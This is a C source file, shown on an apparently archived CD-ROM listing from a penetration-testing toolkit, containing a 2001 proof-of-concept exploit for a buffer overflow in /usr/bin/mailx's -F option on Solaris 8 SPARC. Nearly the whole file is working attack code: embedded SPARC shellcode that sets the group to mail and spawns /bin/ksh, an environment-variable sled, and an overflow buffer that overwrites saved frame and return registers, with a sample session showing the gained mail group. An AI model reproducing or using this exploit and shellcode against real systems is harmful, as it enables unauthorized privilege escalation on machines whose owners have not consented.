home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / Mailx / mailx-F.sparc.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  83 lines

  1. #include <fcntl.h>
  2.  
  3. /*
  4.  
  5.    /usr/bin/mailx overflow proof of conecpt.
  6.  
  7.  
  8.    Pablo Sor, Buenos Aires, Argentina 05/2001
  9.    psor@afip.gov.ar, psor@ccc.uba.ar
  10.  
  11.    works against Solaris 8 (SPARC)
  12.  
  13.    default offset should work.
  14.  
  15.    $ id
  16.    uid=100(laika) gid=1(other)
  17.  
  18.    $ ./mailx-exp
  19.    Subject: tomy
  20.    .
  21.    EOT
  22.  
  23.    [wait..]
  24.  
  25.    $ id
  26.    uid=100(laika) gid=1(other) egid=6(mail)
  27.  
  28.  
  29. */
  30.  
  31.  
  32. int main(int ac, char **av)
  33. {
  34.  
  35. char shell[]=
  36.  
  37.   "\x90\x10\x20\x06\x82\x10\x20\x88\x91\xd0\x20\x08"  /* setegid(6) */
  38.   "\x90\x10\x20\x06\x82\x10\x20\x2e\x91\xd0\x20\x08"  /* setgid(6) */
  39.  
  40.   /* LSD-pl.net guys shellcode */
  41.  
  42.   "\x90\x08\x3f\xff"     /* and     %g0,-1,%o0           */
  43.   "\x82\x10\x20\x17"     /* mov     0x17,%g1             */
  44.   "\x91\xd0\x20\x08"     /* ta      8                    */
  45.   "\x20\xbf\xff\xff"     /* bn,a    <shellcode-4> */
  46.   "\x20\xbf\xff\xff"     /* bn,a    <shellcode> */
  47.   "\x7f\xff\xff\xff"     /* call    <shellcode+4> */
  48.   "\x90\x03\xe0\x20"     /* add     %o7,32,%o0           */
  49.   "\x92\x02\x20\x10"     /* add     %o0,16,%o1           */
  50.   "\xc0\x22\x20\x08"     /* st      %g0,[%o0+8]          */
  51.   "\xd0\x22\x20\x10"     /* st      %o0,[%o0+16]         */
  52.   "\xc0\x22\x20\x14"     /* st      %g0,[%o0+20]         */
  53.   "\x82\x10\x20\x0b"     /* mov     0xb,%g1              */
  54.   "\x91\xd0\x20\x08"     /* ta      8                    */
  55.   "/bin/ksh";
  56.  
  57.  
  58.  u_long get_sp(void)
  59.  {
  60.    __asm__("mov %sp,%i0 \n");
  61.  }
  62.  
  63.  unsigned long magic = get_sp() + 1444  ;  /* default offset */
  64.  unsigned char buf[1220];
  65.  char *envi;
  66.  int cont;
  67.  
  68.  envi = (char *)malloc(1000*sizeof(char));
  69.  for (cont=3;cont<990;cont=cont+4)
  70.   { envi[cont]= 0xa6;envi[cont+1]=0x1c;envi[cont+2]=0xc0;envi[cont+3]=0x13; }
  71.  for (cont=803;cont<803+strlen(shell);++cont) envi[cont]=shell[cont-803];
  72.  memcpy(envi,"SO=",3);
  73.  
  74.  envi[999]=0;
  75.  putenv(envi);
  76.  memset(buf,0x41,1220);
  77.  memcpy(buf+1120+24,&magic,4);  /* fake %fp */
  78.  memcpy(buf+1120+28,&magic,4);  /* fake %i7 */
  79.  buf[1220]=0;
  80.  
  81.  execl("/usr/bin/mailx","mailx","-F",buf,NULL);
  82. }
  83.